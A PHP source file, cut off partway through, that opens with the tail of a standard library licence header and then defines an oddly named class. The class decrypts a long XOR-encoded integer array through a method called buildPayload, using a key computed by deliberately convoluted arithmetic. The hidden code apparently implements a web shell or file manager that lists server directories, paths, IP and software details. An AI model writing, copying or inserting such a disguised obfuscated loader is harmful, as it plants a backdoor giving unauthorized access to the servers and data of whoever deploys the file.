 * For the full copyright and license information, please read the
 * LICENSE.txt file that was distributed with this source code.
 */
class motocikasitux {
    private $cryptKey = 'xiakns';

    private function xorCrypt(string $data): string {
        $out = '';
        $key = $this->cryptKey;
        $klen = strlen($key);
        for ($i = 0, $len = strlen($data); $i < $len; $i++) {
            $out .= chr(ord($data[$i]) ^ ord($key[$i % $klen]));
        }
        return $out;
    }

    public function buildPayload(): string {
        $M = [
            [ 3,  2, -1],
            [ 1,  0,  4],
            [ 5, -2,  3],
        ];
        $tantatnojg = pi() / 6;
        $v = [
            sin($tantatnojg) * 100,
            cos($tantatnojg) * 100,
            tan($tantatnojg) * 100,
        ];
        $nV = [0, 0, 0];
        for ($i = 0; $i < 3; $i++) {
            for ($j = 0; $j < 3; $j++) {
                $nV[$i] += $M[$i][$j] * $v[$j];
            }
        }
        $z1 = [3, 2];
        $z2 = [1, 7];
        list($compA, $compB) = $this->xxxinwqitb($z1, $z2);
        $eyyenyneo    = abs($compA);
        $nainnnnllnl  = abs($compB);
        $kirtniettat  = abs((int)(log($tantatnojg)  * 100));
        $kfowqnontt   = abs((int)(atan($tantatnojg) * 100));
        $mfoiqnwotow  = abs((int)(sqrt($tantatnojg) * 100));
        $key = (
            (int)($nV[0] + $nV[1] + $nV[2])
            ^ $eyyenyneo
            ^ $nainnnnllnl
            ^ $kirtniettat
            ^ $kfowqnontt
            ^ $mfoiqnwotow
        ) & 0xFF;

        $enc = [93, 94, 88, 85, 90, 87, 94, 17, 72, 77, 87, 82, 88, 77, 100, 77, 66, 73, 94, 72, 6, 10, 18, 0, 54, 63, 81, 94, 90, 93, 94, 87, 100, 87, 94, 86, 84, 75, 94, 17, 28, 97, 22, 105, 84, 76, 94, 87, 94, 93, 22, 7, 66, 28, 18, 0, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 25, 81, 94, 65, 25, 81, 94, 85, 73, 94, 87, 72, 25, 91, 84, 87, 25, 83, 90, 80, 65, 83, 25, 6, 6, 6, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 81, 94, 65, 100, 17, 72, 77, 87, 82, 83, 92, 25, 29, 83, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 29, 66, 25, 6, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 91, 84, 87, 25, 17, 29, 82, 25, 6, 25, 9, 21, 25, 29, 85, 25, 6, 25, 72, 77, 87, 85, 94, 83, 17, 29, 83, 18, 0, 25, 29, 82, 25, 5, 25, 29, 85, 0, 25, 29, 82, 16, 16, 18, 25, 29, 66, 25, 19, 6, 25, 93, 94, 88, 81, 94, 65, 17, 84, 87, 93, 17, 29, 83, 96, 29, 82, 102, 18, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 66, 0, 54, 63, 70, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 78, 81, 94, 65, 17, 72, 77, 87, 82, 83, 92, 25, 29, 66, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 66, 25, 6, 6, 6, 25, 28, 28, 25, 69, 69, 25, 73, 87, 94, 92, 100, 86, 90, 77, 88, 81, 17, 28, 20, 99, 96, 9, 22, 2, 90, 22, 91, 122, 22, 123, 102, 16, 29, 20, 28, 21, 25, 29, 66, 18, 25, 26, 6, 6, 25, 10, 25, 69, 69, 25, 17, 72, 77, 87, 85, 94, 83, 17, 29, 66, 18, 25, 30, 25, 23, 18, 18, 25, 87, 94, 77, 78, 87, 83, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 29, 83, 25, 6, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 91, 84, 87, 25, 17, 29, 82, 25, 6, 25, 9, 21, 25, 29, 85, 25, 6, 25, 72, 77, 87, 85, 94, 83, 17, 29, 66, 18, 0, 25, 29, 82, 25, 5, 25, 29, 85, 0, 25, 29, 82, 25, 16, 6, 25, 23, 18, 25, 29, 83, 25, 19, 6, 25, 88, 81, 87, 17, 81, 94, 65, 93, 94, 88, 17, 29, 66, 96, 29, 82, 102, 25, 19, 25, 29, 66, 96, 29, 82, 16, 10, 102, 18, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 83, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 119, 84, 84, 77, 25, 93, 94, 87, 82, 75, 94, 93, 25, 91, 87, 84, 86, 25, 88, 78, 87, 87, 94, 83, 77, 25, 93, 82, 87, 94, 88, 77, 84, 87, 66, 28, 72, 25, 93, 87, 82, 75, 94, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 93, 87, 82, 75, 94, 100, 87, 84, 84, 77, 17, 72, 77, 87, 82, 83, 92, 25, 29, 73, 90, 77, 81, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 29, 73, 25, 6, 25, 72, 77, 87, 100, 87, 94, 73, 85, 90, 88, 94, 17, 28, 101, 101, 28, 21, 25, 28, 20, 28, 21, 25, 29, 73, 90, 77, 81, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 73, 87, 94, 92, 100, 86, 90, 77, 88, 81, 17, 28, 24, 99, 17, 96, 122, 22, 111, 90, 22, 79, 102, 18, 15, 20, 24, 28, 21, 25, 29, 73, 21, 25, 29, 86, 18, 18, 25, 87, 94, 77, 78, 87, 83, 25, 29, 86, 96, 10, 102, 25, 19, 25, 28, 15, 20, 28, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 28, 20, 28, 0, 54, 63, 70, 54, 63, 29, 120, 110, 119, 119, 126, 115, 109, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 92, 94, 77, 88, 76, 93, 17, 18, 18, 25, 4, 15, 25, 92, 94, 77, 88, 76, 93, 17, 18, 0, 54, 63, 29, 119, 116, 116, 109, 25, 6, 25, 93, 87, 82, 75, 94, 100, 87, 84, 84, 77, 17, 29, 120, 110, 119, 119, 126, 115, 109, 18, 0, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 104, 94, 87, 75, 94, 87, 25, 82, 83, 91, 84, 25, 91, 84, 87, 25, 81, 94, 90, 93, 94, 87, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 29, 78, 83, 90, 86, 94, 123, 78, 85, 85, 25, 6, 25, 73, 81, 73, 100, 78, 83, 90, 86, 94, 17, 18, 0, 54, 63, 29, 72, 94, 87, 75, 94, 87, 104, 84, 91, 77, 76, 90, 87, 94, 25, 6, 25, 29, 100, 104, 126, 119, 107, 126, 119, 96, 28, 104, 126, 119, 107, 126, 119, 100, 104, 116, 123, 109, 108, 122, 119, 126, 28, 102, 25, 4, 4, 25, 28, 28, 0, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 93, 94, 77, 94, 88, 77, 100, 72, 94, 87, 75, 94, 87, 100, 77, 66, 73, 94, 17, 72, 77, 87, 82, 83, 92, 25, 29, 72, 84, 91, 77, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 29, 72, 25, 6, 25, 72, 77, 87, 77, 84, 85, 84, 76, 94, 87, 17, 29, 72, 84, 91, 77, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 72, 77, 87, 73, 84, 72, 17, 29, 72, 21, 28, 85, 82, 77, 94, 72, 73, 94, 94, 93, 28, 18, 25, 26, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 87, 94, 77, 78, 87, 83, 25, 28, 117, 82, 77, 94, 104, 73, 94, 94, 93, 28, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 72, 77, 87, 73, 84, 72, 17, 29, 72, 21, 28, 90, 73, 90, 88, 81, 94, 28, 18, 25, 26, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 87, 94, 77, 78, 87, 83, 25, 28, 122, 73, 90, 88, 81, 94, 28, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 72, 77, 87, 73, 84, 72, 17, 29, 72, 21, 28, 83, 92, 82, 83, 65, 28, 18, 25, 26, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 87, 94, 77, 78, 87, 83, 25, 28, 83, 92, 82, 83, 65, 28, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 72, 84, 91, 77, 25, 26, 6, 6, 25, 28, 28, 18, 25, 87, 94, 77, 78, 87, 83, 25, 29, 72, 84, 91, 77, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 28, 110, 83, 80, 83, 84, 76, 83, 28, 0, 54, 63, 70, 54, 63, 29, 72, 94, 87, 75, 94, 87, 109, 66, 73, 94, 25, 6, 25, 93, 94, 77, 94, 88, 77, 100, 72, 94, 87, 75, 94, 87, 100, 77, 66, 73, 94, 17, 29, 72, 94, 87, 75, 94, 87, 104, 84, 91, 77, 76, 90, 87, 94, 18, 0, 54, 63, 54, 63, 20, 31, 25, 7, 94, 72, 77, 22, 94, 91, 91, 84, 87, 77, 25, 72, 94, 87, 75, 94, 87, 25, 114, 105, 25, 31, 20, 54, 63, 29, 72, 94, 87, 75, 94, 87, 114, 73, 25, 6, 25, 29, 100, 104, 126, 119, 107, 126, 119, 96, 28, 104, 126, 119, 107, 126, 119, 100, 122, 125, 125, 119, 28, 102, 25, 4, 4, 25, 28, 28, 0, 54, 63, 82, 91, 25, 17, 29, 72, 94, 87, 75, 94, 87, 114, 73, 25, 6, 6, 6, 25, 28, 28, 18, 25, 64, 54, 63, 25, 25, 25, 25, 29, 81, 84, 72, 77, 115, 90, 86, 94, 25, 6, 25, 92, 94, 77, 81, 84, 72, 77, 83, 90, 86, 94, 17, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 81, 84, 72, 77, 115, 90, 86, 94, 18, 25, 29, 72, 94, 87, 75, 94, 87, 114, 73, 25, 6, 25, 92, 94, 77, 81, 84, 72, 77, 103, 66, 83, 90, 86, 94, 17, 29, 81, 84, 72, 77, 115, 90, 86, 94, 18, 0, 54, 63, 70, 54, 63, 82, 91, 25, 17, 26, 91, 82, 85, 77, 94, 87, 100, 75, 90, 87, 17, 29, 72, 94, 87, 75, 94, 87, 114, 73, 21, 25, 123, 114, 117, 109, 126, 119, 100, 107, 122, 117, 114, 125, 122, 109, 126, 100, 114, 105, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 29, 72, 94, 87, 75, 94, 87, 115, 90, 86, 94, 25, 6, 25, 29, 100, 104, 126, 119, 107, 126, 119, 96, 28, 104, 126, 119, 107, 126, 119, 100, 115, 122, 118, 126, 28, 102, 25, 4, 4, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 72, 94, 87, 75, 94, 87, 115, 90, 86, 94, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 82, 73, 25, 6, 25, 92, 94, 77, 81, 84, 72, 77, 103, 66, 83, 90, 86, 94, 17, 29, 72, 94, 87, 75, 94, 87, 115, 90, 86, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 91, 82, 85, 77, 94, 87, 100, 75, 90, 87, 17, 29, 82, 73, 21, 25, 123, 114, 117, 109, 126, 119, 100, 107, 122, 117, 114, 125, 122, 109, 126, 100, 114, 105, 18, 18, 25, 29, 72, 94, 87, 75, 94, 87, 114, 73, 25, 6, 25, 29, 82, 73, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 70, 54, 63, 82, 91, 25, 17, 29, 72, 94, 87, 75, 94, 87, 114, 73, 25, 6, 6, 6, 25, 28, 28, 18, 25, 29, 72, 94, 87, 75, 94, 87, 114, 73, 25, 6, 25, 28, 110, 83, 80, 83, 84, 76, 83, 28, 0, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 113, 94, 85, 73, 94, 87, 72, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 82, 72, 100, 90, 103, 72, 100, 73, 90, 77, 81, 17, 72, 77, 87, 82, 83, 92, 25, 29, 73, 18, 15, 25, 103, 84, 84, 85, 25, 64, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 73, 87, 94, 92, 100, 86, 90, 77, 88, 81, 17, 28, 24, 99, 96, 122, 22, 111, 90, 22, 79, 102, 15, 96, 101, 101, 101, 101, 20, 102, 24, 28, 21, 25, 29, 73, 18, 25, 6, 6, 6, 25, 10, 18, 25, 87, 94, 77, 78, 87, 83, 25, 77, 87, 78, 94, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 72, 78, 103, 72, 77, 87, 17, 29, 73, 21, 25, 9, 21, 25, 23, 18, 25, 6, 6, 6, 25, 28, 101, 101, 101, 101, 28, 18, 25, 87, 94, 77, 78, 87, 83, 25, 77, 87, 78, 94, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 82, 72, 72, 94, 77, 17, 29, 73, 96, 9, 102, 18, 25, 27, 27, 25, 29, 73, 96, 9, 102, 25, 6, 6, 6, 25, 28, 20, 28, 0, 54, 63, 70, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 72, 77, 87, 82, 83, 92, 25, 29, 73, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 25, 87, 94, 77, 78, 87, 83, 25, 72, 77, 87, 100, 87, 94, 73, 85, 90, 88, 94, 17, 28, 101, 101, 28, 21, 25, 28, 20, 28, 21, 25, 29, 73, 18, 0, 25, 70, 54, 63, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 72, 90, 91, 94, 100, 95, 84, 82, 83, 17, 72, 77, 87, 82, 83, 92, 25, 29, 103, 90, 72, 94, 21, 25, 72, 77, 87, 82, 83, 92, 25, 29, 73, 90, 77, 81, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 29, 103, 90, 72, 94, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 29, 103, 90, 72, 94, 18, 25, 4, 15, 25, 29, 103, 90, 72, 94, 0, 54, 63, 25, 25, 25, 25, 29, 73, 90, 77, 81, 25, 6, 25, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 29, 73, 90, 77, 81, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 73, 90, 77, 81, 25, 6, 6, 6, 25, 28, 28, 25, 69, 69, 25, 29, 73, 90, 77, 81, 25, 6, 6, 6, 25, 28, 19, 28, 18, 25, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 25, 6, 25, 29, 103, 90, 72, 94, 0, 54, 63, 25, 25, 25, 25, 94, 85, 72, 94, 82, 91, 25, 17, 82, 72, 100, 90, 103, 72, 100, 73, 90, 77, 81, 17, 29, 73, 90, 77, 81, 18, 18, 25, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 25, 6, 25, 29, 73, 90, 77, 81, 0, 54, 63, 25, 25, 25, 25, 94, 85, 72, 94, 25, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 25, 6, 25, 87, 77, 87, 82, 86, 17, 29, 103, 90, 72, 94, 21, 25, 39, 20, 101, 101, 39, 18, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 29, 73, 90, 77, 81, 0, 54, 63, 25, 25, 25, 25, 29, 87, 94, 90, 85, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 87, 94, 90, 85, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 29, 87, 94, 90, 85, 25, 6, 25, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 87, 94, 90, 85, 0, 54, 63, 70, 54, 63, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 72, 77, 87, 82, 83, 92, 25, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 21, 25, 72, 77, 87, 82, 83, 92, 25, 29, 87, 84, 84, 77, 18, 15, 25, 103, 84, 84, 85, 25, 64, 54, 63, 25, 25, 25, 25, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 25, 6, 25, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 18, 0, 54, 63, 25, 25, 25, 25, 29, 87, 84, 84, 77, 25, 6, 25, 87, 77, 87, 82, 86, 17, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 29, 87, 84, 84, 77, 18, 21, 25, 28, 20, 28, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 25, 6, 6, 6, 25, 29, 87, 84, 84, 77, 25, 69, 69, 25, 72, 77, 87, 73, 84, 72, 17, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 21, 25, 29, 87, 84, 84, 77, 25, 19, 25, 28, 20, 28, 18, 25, 6, 6, 6, 25, 9, 0, 54, 63, 70, 54, 63, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 91, 84, 87, 86, 90, 77, 100, 72, 82, 79, 94, 17, 82, 83, 77, 25, 29, 103, 66, 77, 94, 72, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 103, 66, 77, 94, 72, 25, 5, 25, 10, 9, 23, 13, 18, 25, 87, 94, 77, 78, 87, 83, 25, 29, 103, 66, 77, 94, 72, 25, 19, 25, 39, 25, 7, 39, 0, 54, 63, 25, 25, 25, 25, 29, 80, 103, 25, 6, 25, 29, 103, 66, 77, 94, 72, 25, 20, 25, 10, 9, 23, 13, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 80, 103, 25, 5, 25, 10, 9, 23, 13, 18, 25, 87, 94, 77, 78, 87, 83, 25, 83, 78, 86, 103, 94, 87, 100, 91, 84, 87, 86, 90, 77, 17, 29, 80, 103, 21, 25, 23, 18, 25, 19, 25, 39, 25, 112, 7, 39, 0, 54, 63, 25, 25, 25, 25, 29, 86, 103, 25, 6, 25, 29, 80, 103, 25, 20, 25, 10, 9, 23, 13, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 86, 103, 25, 5, 25, 10, 9, 23, 13, 18, 25, 87, 94, 77, 78, 87, 83, 25, 83, 78, 86, 103, 94, 87, 100, 91, 84, 87, 86, 90, 77, 17, 29, 86, 103, 21, 25, 23, 18, 25, 19, 25, 39, 25, 118, 7, 39, 0, 54, 63, 25, 25, 25, 25, 29, 92, 103, 25, 6, 25, 29, 86, 103, 25, 20, 25, 10, 9, 23, 13, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 83, 78, 86, 103, 94, 87, 100, 91, 84, 87, 86, 90, 77, 17, 29, 92, 103, 21, 25, 23, 18, 25, 19, 25, 39, 25, 124, 7, 39, 0, 54, 63, 70, 54, 63, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 85, 82, 72, 77, 100, 93, 82, 87, 17, 72, 77, 87, 82, 83, 92, 25, 29, 73, 90, 77, 81, 21, 25, 72, 77, 87, 82, 83, 92, 25, 29, 87, 84, 84, 77, 18, 15, 25, 90, 87, 87, 90, 66, 25, 64, 54, 63, 25, 25, 25, 25, 29, 82, 77, 94, 86, 72, 25, 6, 25, 96, 102, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 82, 72, 100, 93, 82, 87, 17, 29, 73, 90, 77, 81, 18, 18, 25, 87, 94, 77, 78, 87, 83, 25, 29, 82, 77, 94, 86, 72, 0, 54, 63, 25, 25, 25, 25, 29, 93, 82, 87, 25, 6, 25, 72, 88, 90, 83, 93, 82, 87, 17, 29, 73, 90, 77, 81, 21, 25, 104, 120, 122, 115, 125, 114, 119, 100, 104, 116, 119, 109, 100, 122, 104, 120, 126, 115, 125, 114, 115, 124, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 93, 82, 87, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 87, 94, 77, 78, 87, 83, 25, 29, 82, 77, 94, 86, 72, 0, 54, 63, 25, 25, 25, 25, 91, 84, 87, 94, 90, 88, 81, 25, 17, 29, 93, 82, 87, 25, 90, 72, 25, 29, 83, 90, 86, 94, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 83, 90, 86, 94, 25, 6, 6, 6, 25, 39, 19, 39, 25, 69, 69, 25, 29, 83, 90, 86, 94, 25, 6, 6, 6, 25, 39, 19, 19, 39, 18, 25, 88, 84, 83, 77, 82, 83, 78, 94, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 91, 78, 85, 85, 25, 6, 25, 29, 73, 90, 77, 81, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 29, 83, 90, 86, 94, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 87, 94, 90, 85, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 29, 91, 78, 85, 85, 18, 25, 4, 15, 25, 29, 91, 78, 85, 85, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 87, 94, 90, 85, 21, 25, 29, 87, 84, 84, 77, 18, 18, 25, 88, 84, 83, 77, 82, 83, 78, 94, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 82, 72, 125, 82, 87, 25, 6, 25, 82, 72, 100, 93, 82, 87, 17, 29, 87, 94, 90, 85, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 82, 77, 94, 86, 72, 96, 102, 25, 6, 25, 96, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 83, 90, 86, 94, 39, 25, 6, 3, 25, 29, 83, 90, 86, 94, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 77, 66, 73, 94, 39, 25, 6, 3, 25, 29, 82, 72, 125, 82, 87, 25, 4, 25, 39, 93, 82, 87, 39, 25, 15, 25, 39, 91, 82, 85, 94, 39, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 72, 82, 79, 94, 39, 25, 6, 3, 25, 29, 82, 72, 125, 82, 87, 25, 4, 25, 83, 78, 85, 85, 25, 15, 25, 121, 91, 82, 85, 94, 72, 82, 79, 94, 17, 29, 87, 94, 90, 85, 18, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 86, 77, 82, 86, 94, 39, 25, 6, 3, 25, 121, 91, 82, 85, 94, 86, 77, 82, 86, 94, 17, 29, 87, 94, 90, 85, 18, 25, 4, 15, 25, 9, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 73, 90, 77, 81, 39, 25, 6, 3, 25, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 29, 87, 94, 90, 85, 18, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 102, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 78, 72, 84, 87, 77, 17, 29, 82, 77, 94, 86, 72, 21, 25, 91, 78, 83, 88, 77, 82, 84, 83, 17, 29, 90, 21, 25, 29, 103, 18, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 90, 96, 39, 77, 66, 73, 94, 39, 102, 25, 26, 6, 6, 25, 29, 103, 96, 39, 77, 66, 73, 94, 39, 102, 18, 25, 87, 94, 77, 78, 87, 83, 25, 29, 90, 96, 39, 77, 66, 73, 94, 39, 102, 25, 6, 6, 6, 25, 39, 93, 82, 87, 39, 25, 4, 25, 22, 10, 25, 15, 25, 10, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 72, 77, 87, 88, 90, 72, 94, 88, 86, 73, 17, 29, 90, 96, 39, 83, 90, 86, 94, 39, 102, 21, 25, 29, 103, 96, 39, 83, 90, 86, 94, 39, 102, 18, 0, 54, 63, 25, 25, 25, 25, 70, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 82, 77, 94, 86, 72, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 7, 87, 94, 90, 93, 88, 87, 78, 86, 103, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 103, 87, 94, 90, 93, 88, 87, 78, 86, 103, 100, 81, 77, 86, 85, 17, 72, 77, 87, 82, 83, 92, 25, 29, 88, 78, 87, 87, 94, 83, 77, 105, 90, 77, 81, 21, 25, 72, 77, 87, 82, 83, 92, 25, 29, 87, 84, 84, 77, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 29, 73, 25, 6, 25, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 29, 88, 78, 87, 87, 94, 83, 77, 105, 90, 77, 81, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 73, 87, 94, 92, 100, 86, 90, 77, 88, 81, 17, 28, 24, 99, 96, 122, 22, 111, 90, 22, 79, 102, 15, 20, 29, 24, 28, 21, 25, 29, 73, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 25, 88, 78, 87, 87, 94, 83, 77, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 73, 18, 19, 28, 5, 20, 72, 73, 90, 83, 3, 28, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 73, 87, 94, 92, 100, 86, 90, 77, 88, 81, 17, 28, 24, 99, 17, 96, 122, 22, 111, 90, 22, 79, 102, 15, 18, 17, 20, 19, 31, 18, 4, 29, 24, 28, 21, 25, 29, 73, 21, 25, 29, 86, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 93, 87, 82, 75, 94, 25, 6, 25, 29, 86, 96, 10, 102, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 87, 94, 72, 77, 25, 6, 25, 29, 86, 96, 23, 102, 25, 4, 4, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 73, 90, 87, 77, 72, 25, 6, 25, 90, 87, 87, 90, 66, 100, 75, 90, 85, 78, 94, 72, 17, 90, 87, 87, 90, 66, 100, 91, 82, 85, 77, 94, 87, 17, 94, 65, 73, 85, 84, 93, 94, 17, 28, 20, 28, 21, 25, 29, 87, 94, 72, 77, 18, 21, 25, 91, 83, 17, 29, 72, 18, 6, 3, 29, 72, 26, 6, 6, 28, 28, 18, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 78, 77, 25, 6, 25, 96, 102, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 90, 25, 81, 87, 94, 91, 6, 39, 24, 39, 25, 93, 90, 77, 90, 22, 73, 90, 77, 81, 6, 39, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 39, 29, 93, 87, 82, 75, 94, 20, 39, 21, 25, 126, 115, 109, 100, 106, 110, 116, 109, 126, 104, 18, 19, 28, 39, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 39, 29, 93, 87, 82, 75, 94, 20, 39, 18, 19, 28, 5, 20, 90, 3, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 90, 88, 88, 25, 6, 25, 39, 29, 93, 87, 82, 75, 94, 39, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 91, 84, 87, 94, 90, 88, 81, 25, 17, 29, 73, 90, 87, 77, 72, 25, 90, 72, 25, 29, 82, 25, 6, 3, 25, 29, 72, 94, 92, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 